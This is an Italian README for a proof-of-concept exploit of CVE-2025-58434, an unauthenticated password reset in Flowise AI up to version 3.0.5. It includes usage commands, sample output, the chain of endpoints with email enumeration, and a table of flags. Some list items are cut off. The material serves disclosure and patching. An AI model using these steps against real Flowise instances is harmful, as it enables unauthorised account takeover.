
Exploit di reimpostazione della password non autenticato per Flowise AI ≤ 3.0.5. Abusa dell'endpoint /api/v1/account/forgot-password per modificare la password di qualsiasi utente senza autenticazione preventiva. Include uno script proof-of-concept e linee guida per la mitigazione.
CVE ID: CVE-2025-58434
Software interessato: Flowise AI
Versioni vulnerabili: <= 3.0.5
Versione corretta: 3.0.6 e successive
Gravità: Critica
Autore: r3nsi15
Data: 2025
Le versioni di Flowise AI fino alla 3.0.5 inclusa contengono una falla di autenticazione nel flusso di reimpostazione della password. L'endpoint /api/v1/account/forgot-password restituisce un token di reset temporaneo (tempToken) direttamente nella sua risposta API senza richiedere alcuna forma di autenticazione preventiva o verifica dell'email.
Un attaccante non autenticato che conosce (o può enumerare) un indirizzo email valido può:
tempToken direttamente dalla risposta API.Questa vulnerabilità aggira completamente il flusso di verifica basato sull'email previsto, poiché il token viene divulgato nella risposta HTTP anziché essere inviato solo alla casella di posta elettronica del proprietario dell'account.
File: CVE-2025-58434_POC.py
requestspip install requests
python3 CVE-2025-58434_POC.py -e <target_email> -u <target_url> [-p <new_password>]
python3 CVE-2025-58434_POC.py -e [email protected] -u https://flowise.example.com -p P@ssw0rd!
[+] Email [email protected] exists!
[!] Sending forgot password request
[!] Sending reset password request
[+] Password Changed Successfully to: P@ssw0rd!
L'API di reimpostazione password è stata progettata per inviare il tempToken all'email dell'utente, ma il server lo includeva anche direttamente nel corpo della risposta JSON. Ciò significa che qualsiasi chiamante — autenticato o meno — riceve il token immediatamente dopo aver effettuato la richiesta, rendendo irrilevante il passaggio di consegna via email.
Inoltre, l'enumerazione delle email è possibile perché l'endpoint di login restituisce un messaggio di errore distinto ("Incorrect Email or Password") solo quando l'email esiste, rendendo banale confermare account validi prima di lanciare l'attacco.
tempToken venga trasmesso esclusivamente tramite l'indirizzo email registrato.Questa prova di concetto è fornita esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. L'utilizzo di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i collaboratori non si assumono alcuna responsabilità per un uso improprio.
| Endpoint | Method | Scopo |
|---|
/api/v1/auth/login | POST | Utilizzato per verificare se un account email esiste |
/api/v1/account/forgot-password | POST | Attiva il reset e divulga tempToken nella risposta |
/api/v1/account/reset-password | POST | Completa il cambio password utilizzando il token |
| Flag | Forma estesa | Obbligatorio | Descrizione |
|---|
-e | --email | Sì | Indirizzo email dell'account target |
-u | --url | Sì | URL di base dell'istanza Flowise |
-p | --password | No | Nuova password da impostare (predefinita: password) |